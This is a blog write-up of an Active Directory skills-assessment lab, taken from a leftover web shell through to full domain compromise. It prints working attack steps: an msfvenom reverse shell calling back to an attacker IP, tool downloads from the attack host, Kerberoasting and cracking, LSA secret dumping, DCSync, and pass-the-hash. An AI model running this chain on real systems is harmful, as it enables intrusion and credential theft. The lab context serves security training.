Post cover image

August 12, 2026

AD Enumeration & Attacks — Skills Assessment Part I

Hello to everyone, Pix here.

By Ahmet

11 min read

Today we have the Active Directory Skill Assessment Part 1. Let's dive into it.

First of all, this information greets us:

Our teammate left a password-protected web shell (with the credentials admin:My_W3bsH3ll_P@ssw0rd!) in place for us to start from, in the /uploads directory.

So we already have a foothold waiting for us — we just need to reach it. Let's head over to the website and go to the /uploads directory.

None

We have two files. web.config gives us a 404, so that one's a dead end. Let's focus on antak.aspx and try to log in with the given credentials.

None

And we're in. Let's look around a bit and see who we are.

PS> hostname
WEB-WIN01
PS> whoami
nt authority\system

We already have SYSTEM privileges. A web shell is fine for quick commands, but for proper enumeration we want a real interactive session, so let's upgrade to a reverse shell. I used msfvenom and multi/handler for this.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.204 -f exe -o revshell.exe LPORT=8008
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: revshell.exe

$ msfconsole -q
msf > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.14.204
LHOST => 10.10.14.204
msf exploit(multi/handler) > set LPORT 8008
LPORT => 8008
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.204:8008

The web shell lets us upload files, and they land in the C:\ directory.

None

With the listener ready, we execute revshell.exe from the web shell:

../../../revshell.exe

And the session comes back.

[*] Started reverse TCP handler on 10.10.14.204:8008
[*] Sending stage (248902 bytes) to 10.129.84.115
[*] Meterpreter session 1 opened (10.10.14.204:8008 -> 10.129.84.115:49707) at 2026-08-04 07:41:34 -0400
meterpreter >

First flag is right there on the Administrator desktop.

meterpreter > dir
Listing: C:\Users\Administrator\Desktop
=======================================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  21    fil   2022-04-11 20:32:24 -0400  flag.txt
meterpreter > cat flag.txt
JusT********

Q2 — Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name

To answer this we need to find SPNs. The built-in setspn.exe tool does exactly that, it will list every SPN in the domain.

PS C:\Users\Administrator\Desktop> setspn.exe -Q */*
setspn.exe -Q */*
Checking domain DC=INLANEFREIGHT,DC=LOCAL
CN=DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.INLANEFREIGHT.LOCAL
        ldap/DC01.INLANEFREIGHT.LOCAL/ForestDnsZones.INLANEFREIGHT.LOCAL
        ldap/DC01.INLANEFREIGHT.LOCAL/DomainDnsZones.INLANEFREIGHT.LOCAL
        DNS/DC01.INLANEFREIGHT.LOCAL
        GC/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL
        RestrictedKrbHost/DC01.INLANEFREIGHT.LOCAL
        RestrictedKrbHost/DC01
        RPC/03d2eace-bb3d-467e-a00a-eab0dbfaa065._msdcs.INLANEFREIGHT.LOCAL
        HOST/DC01/INLANEFREIGHT
        HOST/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT
        HOST/DC01
        HOST/DC01.INLANEFREIGHT.LOCAL
        HOST/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/03d2eace-bb3d-467e-a00a-eab0dbfaa065/INLANEFREIGHT.LOCAL
        ldap/DC01/INLANEFREIGHT
        ldap/03d2eace-bb3d-467e-a00a-eab0dbfaa065._msdcs.INLANEFREIGHT.LOCAL
        ldap/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT
        ldap/DC01
        ldap/DC01.INLANEFREIGHT.LOCAL
        ldap/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL
CN=krbtgt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        kadmin/changepw
CN=****,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SQL01.inlanefreight.local:1433
CN=sqlprod,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SQL02.inlanefreight.local:1433
CN=sqldev,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SQL-DEV01.inlanefreight.local:1433
CN=sqltest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/DEVTEST.inlanefreight.local:1433
CN=sqlqa,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/QA001.inlanefreight.local:1433
CN=azureconnect,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        adfsconnect/azure01.inlanefreight.local
CN=backupjob,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
        backupjob/veam001.inlanefreight.local
CN=WEB-WIN01,CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
        RestrictedKrbHost/WEB-WIN01
        HOST/WEB-WIN01
        RestrictedKrbHost/WEB-WIN01.INLANEFREIGHT.LOCAL
        HOST/WEB-WIN01.INLANEFREIGHT.LOCAL
CN=MS01,CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
        tapinego/MS01
        tapinego/MS01.INLANEFREIGHT.LOCAL
        TERMSRV/MS01
        TERMSRV/MS01.INLANEFREIGHT.LOCAL
        WSMAN/MS01
        WSMAN/MS01.INLANEFREIGHT.LOCAL
        RestrictedKrbHost/MS01
        HOST/MS01
        RestrictedKrbHost/MS01.INLANEFREIGHT.LOCAL
        HOST/MS01.INLANEFREIGHT.LOCAL
Existing SPN found!

There's the SPN we were asked about, and the account name it belongs to shows up right next to it.

Q3 — Crack the account's password. Submit the cleartext value.

Since we have the SPN and SYSTEM privileges on the host, we can go the Mimikatz route.

But first we need to request a TGS ticket for that service and load it into memory. To do that:

PS C:\Users\Administrator\Desktop> Add-Type -AssemblyName System.IdentityModel
Add-Type -AssemblyName System.IdentityModel

PS C:\Users\Administrator\Desktop> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433"
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433"

Id                   : uuid-5968e0b7-a782-438b-a9f6-ac5acd33b5cc-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 8/4/2026 12:04:57 PM
ValidTo              : 8/4/2026 9:24:13 PM
ServicePrincipalName : MSSQLSvc/SQL01.inlanefreight.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKepp

Now the ticket is in memory and Mimikatz can export it. I used a Python HTTP server to transfer mimikatz.exe over to the host.

$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.84.115 - - [04/Aug/2026 07:55:40] "GET /mimikatz.exe HTTP/1.1" 200

Pull it down onto the host:

C:\Users\Administrator\Desktop>curl http://10.10.14.204:8000/mimikatz.exe -o C:\Users\Administrator\Desktop\mimikatz.exe

Next, use Mimikatz to export the ticket. Turning on base64 /out:true first means the ticket prints as a base64 blob we can just copy straight to the attack host, no need to transfer a .kirbi file back.

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export
[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/4/2026 4:24:14 AM ; 8/4/2026 2:24:13 PM ; 8/11/2026 4:24:13 AM
   Server Name       : krbtgt/INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
   Client Name       : web-win01$ @ INLANEFREIGHT.LOCAL
   Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
====================
Base64 of file : 0-60a10000-web-win01$@krbtgt~INLANEFREIGHT.LOCAL-INLANEFREIGHT.LOCAL.kirbi
====================
doIFSDCCBUSgAwIBBaEDAgE9DQUyiNTAzoAMCAQKhLDAqGwhNU1NRTFN2YxseU1FMMDEuaW5s
YW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEXjCCBFqgAwIBF6EDAgECooIETASCBEj1
Z7D0ngxOA+R23H2QxVm6YuvgTF7iIakqQEOC/RT8bxK4DV47Tkb7W7t1Z3hfP02q
XMzcrb+vsKjVwbjXg4Qd+1aZotUYu7FOQUGokvG4Mr6iShPeh+oVzjy20YWpA2Sg
VGXwEFOFuD24RaollIdh9BzNjphYfT0IULIUZO+1DUCM3V2iyvJjkwv4BG6XZiO2
Iv3+sx9Pvwi6cR4ZPA3/O4qJd/iWHckxvB2QKc+rDHca1Qw0I76FDNAp/DPAPrSn
YTYJxPeF+V3wTa+krn+QBr+i9MfeGTOkvYsp<...SNIP...>

I saved the blob to a file and piped it through tr -d \\n to strip the newlines, then base64-decoded it back into a .kirbi. After that kirbi2john extracts the encrypted portion of the ticket and converts it into a hash format John (or Hashcat) can chew on. For John the format is krb5tgs.

$ echo 'doIF0DCCBcygAwIBBaEDAgEWooIEwTCCBL1hggS5MIIEtaADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiNTAzoAMCAQKhLDAqGwhNU1NRTFN2YxseU1FMMDEuaW5s
YW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEXjCCBFqgAwIBF6EDAgECooIETASCBEj1
Z7D0ngxOA+R23H2QxVm6YuvgTF7iIakqQEOC/RT8bxK4DV47Tkb7W7t1Z3hfP02q
XMzcrb+vsKjVwbjXg4Qd+1aZotUYu7FOQUGokvG4Mr6iShPeh+oVzjy20YWpA2Sg
VGXwEFOFuD24RaollIdh9BzNjphYfT0IULIUZO+1DUCM3V2iyvJjkwv4BG6XZiO2
Iv3+sx9Pvwi6cR4ZPA3/O4qJd/iWHckxvB2QKc+rDHca1Qw0I76FDNAp/DPAPrSn
YTYJxPeF+V3wTa+krn+QBr+i9MfeGTOkvYspyidKq3GJu7pDVej/HwZNQvnKno/Y
W9NZiQqtZjH/gYzFg9zH8Koo0GkfhMTJPhCbdONpl<...SNIP...>' | tr -d \\n > blob.txt

$ cat blob.txt | base64 -d > TGT.kirbi
$ kirbi2john TGT.kirbi > TGT.txt
tickets written: 1
$ john --format=krb5tgs -w /usr/share/wordlists/rockyou.txt TGT.txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
lu***           (?)
1g 0:00:00:00 DONE (2026-08-04 08:10) 50.00g/s 153600p/s 153600c/s 153600C/s ilovegod..mobydick
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

And there's the cleartext password.

Q4 — Submit the contents of flag.txt on the Administrator desktop on MS01

First we need to figure out which internal host is our target. Back in Meterpreter, I ran a ping sweep across the internal subnet.

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.6.0/23
[*] Performing ping sweep for IP range 172.16.6.0/23
[+]     172.16.6.3 host found
[+]     172.16.6.50 host found
[+]     172.16.6.100 host found

Our own host is 172.16.6.100, so one of the other two is DC01 and the other is MS01. To tell them apart, the built-in nbtstat.exe is great for resolving NetBIOS names.

C:\Users\Administrator\Desktop>nbtstat -A 172.16.6.3
nbtstat -A 172.16.6.3

Ethernet1:
Node IpAddress: [172.16.6.100] Scope Id: []
           NetBIOS Remote Machine Name Table
       Name               Type         Status
    ---------------------------------------------
    DC01           <00>  UNIQUE      Registered
    INLANEFREIGHT  <00>  GROUP       Registered
    INLANEFREIGHT  <1C>  GROUP       Registered
    DC01           <20>  UNIQUE      Registered
    INLANEFREIGHT  <1B>  UNIQUE      Registered
    MAC Address = A2-DE-AD-4D-1B-73

Ethernet0:
Node IpAddress: [10.129.84.115] Scope Id: []
    Host not found.
C:\Users\Administrator\Desktop>nbtstat -A 172.16.6.50
nbtstat -A 172.16.6.50
Ethernet1:
Node IpAddress: [172.16.6.100] Scope Id: []
           NetBIOS Remote Machine Name Table
       Name               Type         Status
    ---------------------------------------------
    MS01           <00>  UNIQUE      Registered
    INLANEFREIGHT  <00>  GROUP       Registered
    MS01           <20>  UNIQUE      Registered
    MAC Address = A2-DE-AD-DE-DD-C3

Ethernet0:
Node IpAddress: [10.129.84.115] Scope Id: []

So 172.16.6.3 is DC01 and 172.16.6.50 is MS01. Now let's add a route through our session with autoroute so we can reach that internal network from our attack machine.

meterpreter > run autoroute -s 172.16.6.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.6.0/255.255.254.0...
[+] Added route to 172.16.6.0/255.255.254.0 via 10.129.84.115
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.6.0         255.255.254.0      Session 1

With the route in place, we can scan the target host through the session.

$ nmap -Pn -sT -T4 172.16.6.50 --min-rate 1000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 08:18 -0400
Nmap scan report for 172.16.6.50
Host is up (0.000080s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
135/tcp  open  msrpc
143/tcp  open  imap
443/tcp  open  https
554/tcp  open  rtsp
995/tcp  open  pop3s
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy
8888/tcp open  sun-answerbook

RDP (3389) is open, so that's our way in. To reach it from our own box we set up a port forward through Meterpreter.

meterpreter > portfwd add -l 1234 -p 3389 -r 172.16.6.50
[*] Forward TCP relay created: (local) :1234 -> (remote) 172.16.6.50:3389

Then connect with the cracked credentials:

$ xfreerdp /u:svc_sql /p:lucky7 /v:127.0.0.1:1234 /drive:share,/home/pix/Desktop/Tools/Active-Directory +clipboard
None

We land with Administrator privileges on the host, so grabbing the flag is straightforward.

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is B8B3-0D72

Directory of C:\Users\Administrator\Desktop
04/20/2022  05:25 AM    <DIR>          .
04/20/2022  05:25 AM    <DIR>          ..
04/11/2022  08:01 PM                29 flag.txt
               1 File(s)             29 bytes
               2 Dir(s)  18,916,196,352 bytes free
C:\Users\Administrator\Desktop>type flag.txt
spn$_*****

Q4 — Find cleartext credentials for another domain user. Submit the username.

Let's see who else is logged on to this host. The built-in query user shows active sessions.

C:\Users\Administrator\Desktop>query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 t***                 console             1  Active      none   8/4/2026 6:22 AM
>svc_sql               rdp-tcp#0           2  Active          .  8/4/2026 7:21 AM

There's another user with an active console session, that's our next target.

Q5 — Submit this user's cleartext password.

I tried Mimikatz first, but WDIGEST is disabled on this host, so it won't hand us the cleartext password directly — the wdigest and kerberos password fields come back (null). We do get the NTLM hash though.

User Name         : t****
Domain            : INLANEFREIGHT
Logon Server      : DC01
Logon Time        : 8/4/2026 6:22:54 AM
SID               : S-1-5-21-2270287766-1317258649-2146029398-4607
        msv :
         [00000003] Primary
         * Username : t****
         * Domain   : INLANEFREIGHT
         * NTLM     : fd37b6fec5704cadabb319cebf9e3a3a
         * SHA1     : 38afea42a5e28220474839558f073979645a1192
         * DPAPI    : da2ec07551ab1602b7468db08b41e3b2
        tspkg :
        wdigest :
         * Username : t****
         * Domain   : INLANEFREIGHT
         * Password : (null)
        kerberos :
         * Username : t****
         * Domain   : INLANEFREIGHT.LOCAL
         * Password : (null)
        ssp :
        credman :

So Mimikatz alone isn't enough here. Let's pivot to a different approach. Since we already added the autoroute, we can spin up the socks_proxy module and reach the host through proxychains from our attack box.

msf auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  1080             yes       The port to listen on
   SRVSSL   false            no        Negotiate SSL/TLS for local server connections
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a, 5)

   When VERSION is 5:
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   USERNAME                   no        Proxy username for SOCKS5 listener

Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

View the full module info with the info, or info -d command.
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server

Note: make sure the SOCKS version in the module matches what proxychains4.conf expects (socks4 vs socks5). A mismatch here is the classic cause of silent timeouts — always check this first if the connection hangs.

Now we can run netexec through proxychains and dump LSA secrets, which includes the cleartext credentials cached on the machine.

$ proxychains4 netexec smb 172.16.6.50 -u s*** -p l*** --lsa
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.50:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.50:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.50:135  ...  OK
SMB         172.16.6.50     445    MS01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:MS01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:None)
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.50:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.50:445  ...  OK
SMB         172.16.6.50     445    MS01             [+] INLANEFREIGHT.LOCAL\sv***:lu**** (Pwn3d!)
SMB         172.16.6.50     445    MS01             [*] Dumping LSA secrets
SMB         172.16.6.50     445    MS01             INLANEFREIGHT.LOCAL/t****:$DCC2$10240#tp***#685decd67a67f5b6e45a182ed076d801: (2022-04-29 17:46:50)
SMB         172.16.6.50     445    MS01             INLANEFREIGHT.LOCAL/s****:$DCC2$10240#s***#acc5441d637ce6aabf3a3d9d4f8137fb: (2026-08-04 14:13:57)
SMB         172.16.6.50     445    MS01             INLANEFREIGHT.LOCAL/Administrator:$DCC2$10240#Administrator#9553faad97c2767127df83980f3ac245: (2022-04-20 10:25:07)
SMB         172.16.6.50     445    MS01             INLANEFREIGHT\MS01$:aes256-cts-hmac-sha1-96:2368d5b16de1fd11211bfa1c3e920cad0f284bf977f7c2cf7cf88bb122d14ba1
SMB         172.16.6.50     445    MS01             INLANEFREIGHT\MS01$:aes128-cts-hmac-sha1-96:70cc4d66a8cce7fcf9999fb7599bf7a8
SMB         172.16.6.50     445    MS01             INLANEFREIGHT\MS01$:des-cbc-md5:61137c3179ceb69b
SMB         172.16.6.50     445    MS01             INLANEFREIGHT\MS01$:plain_password_hex:f8ffe62acc479901780112c890cd875cce4976344bce16adb56e874330cc1a72d53fa9f01c246e743f8b6837f19957eb943c2f77eec90e017131b1c8a46f072b901a42120f0e458bc4517d2a55cb0f77d78518cb450960531d63aa07c2a64c22c6c7b355f31651a2ab13df710388a5d7243d1a78e157bb8ceeb2454b97d868e51c67139599a4d016c2adbd3ac5056acbf739d06eae07784b6151f03a979a6ebeeeee68f292ae66967bca111240effc05de16eec446beb153957f3abddb0d925c0d91f322926a8c42b17438755ce7b2f28f20aeb42b169da5b8eefa6dd692943268b9ac0fdaa7f5a325be5472d66e842e
SMB         172.16.6.50     445    MS01             INLANEFREIGHT\MS01$:aad3b435b51404eeaad3b435b51404ee:ad7b08f5d7a1b7e68b247e41c47e74b7:::
SMB         172.16.6.50     445    MS01             INLANEFREIGHT\t****:Sup***********
SMB         172.16.6.50     445    MS01             dpapi_machinekey:0x8dbe842a7352000be08ef80e32bb35609e7d1786
dpapi_userkey:0xb20d199f3d953f7977a6363a69a9fe21d97ecd19
SMB         172.16.6.50     445    MS01             [+] Dumped 10 LSA secrets to /home/pix/.nxc/logs/lsa/MS01_172.16.6.50_2026-08-04_102300.secrets and /home/pix/.nxc/logs/lsa/MS01_172.16.6.50_2026-08-04_102300.cached

The LSA dump gives us the cleartext password for our target user right at the bottom.

Q6 — What attack can this user perform?

To find out what this user can do in the domain, we'll use PowerView.ps1, which we share over to the host through the RDP-mounted drive.

PS C:\Windows\system32> copy \\tsclient\share\PowerView.ps1 C:\Users\Administrator\Desktop\
PS C:\Users\Administrator\Desktop> Import-Module .\PowerView.ps1

First, grab the user's SID, we'll need it to match ACL entries against this specific account.

PS C:\Users\Administrator\Desktop> Get-DomainUser -Identity t****
logoncount            : 6
badpasswordtime       : 12/31/1600 6:00:00 PM
distinguishedname     : CN=tpetty,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
objectclass           : {top, person, organizationalPerson, user}
lastlogontimestamp    : 8/4/2026 6:22:57 AM
name                  : t****
objectsid             : S-1-5-21-227028****************
samaccountname        : t****
codepage              : 0
<...SNIP...>

Now we check the domain object's ACL for replication rights tied to this SID.

PS C:\Users\Administrator\Desktop> Get-ObjectAcl "DC=INLANEFREIGHT,DC=LOCAL" -ResolveGUIDs | ?{$_.ObjectAceType -match 'Replication-Get'} | ?{$_.SecurityIdentifier -eq $sid} | select AceQualifier,ObjectDN,ActiveDirectoryRights,ObjectAceType,ObjectSID | fl
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID             : S-1-5-21-22********
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType         : DS-Replication-Get-Changes
ObjectSID             : S-1-5-21-22********
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType         : DS-Replication-Get-Changes-All
ObjectSID             : S-1-5-21-22********

The combination of DS-Replication-Get-Changes and DS-Replication-Get-Changes-All is exactly what a DCSync attack needs. This user can replay the DC's own replication protocol to pull password hashes for any account in the domain.

Q7 — Take over the domain and submit the contents of flag.txt on the Administrator desktop on DC01

With DCSync rights on this user, we go straight for the domain Administrator hash using impacket-secretsdump against the DC, all through proxychains.

$ proxychains4 impacket-secretsdump -just-dc-user administrator INLANEFREIGHT/t*****@172.16.6.3
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.3:445  ...  OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.3:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.3:49666  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:27dedb1da*****a0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:a76102a5617bffb1ea84ba0052767992823fd414697e81151f7de21bb41b1857
Administrator:aes128-cts-hmac-sha1-96:69e27df2550c5c270eca1d8ce5c46230
Administrator:des-cbc-md5:c2d9c892f2e6f2dc
[*] Cleaning up...

We have the domain Administrator NT hash — now we just need a way in. Let's check which remote-access ports are open on the DC.

msf auxiliary(scanner/portscan/tcp) > run
[+] 172.16.6.3            - 172.16.6.3:53 - TCP OPEN
[+] 172.16.6.3            - 172.16.6.3:88 - TCP OPEN
[+] 172.16.6.3            - 172.16.6.3:135 - TCP OPEN
[+] 172.16.6.3            - 172.16.6.3:139 - TCP OPEN
[+] 172.16.6.3            - 172.16.6.3:389 - TCP OPEN
[+] 172.16.6.3            - 172.16.6.3:445 - TCP OPEN
[+] 172.16.6.3            - 172.16.6.3:464 - TCP OPEN
^C[*] 172.16.6.3            - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) > set ports 3389,5985
ports => 3389,5985
msf auxiliary(scanner/portscan/tcp) > run
[+] 172.16.6.3            - 172.16.6.3:5985 - TCP OPEN
[*] 172.16.6.3            - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

WinRM (5985) is open, so we connect over evil-winrm using pass-the-hash with the Administrator NT hash.

$ proxychains4 evil-winrm -i 172.16.6.3 -u Administrator -H 27dedb1da******
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.3:5985  ...  OK
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.3:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.6.3:5985  ...  OK
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/11/2022   7:17 PM             19 flag.txt

And that's the last flag. Domain owned.

What We Learned

  • A leftover web shell is a full compromise waiting to happen. A single forgotten artifact in /uploads handed us SYSTEM with zero exploitation.
  • SYSTEM on a domain-joined host is a Kerberoasting launchpad. With a ticket in memory, Mimikatz exported the TGS and the service account's weak password fell to an offline crack.
  • WDIGEST being disabled isn't the end of the road. Mimikatz returned null cleartext, but dumping LSA secrets over the pivot recovered the user's password anyway, always have a second method ready.
  • One session becomes a whole network. Meterpreter's autoroute plus a SOCKS proxy turned a single foothold into full internal reach through proxychains.
  • Replication rights are domain-ownership in disguise. Get-Changes + Get-Changes-All on a normal user meant DCSync, and DCSync into pass-the-hash meant the DC.

That wraps up Part 1, from a single web shell to full domain compromise, chaining Kerberoasting, a pivot into the internal network, LSA secrets, and finally DCSync into pass-the-hash on the DC. See you in the next one.

Pix out.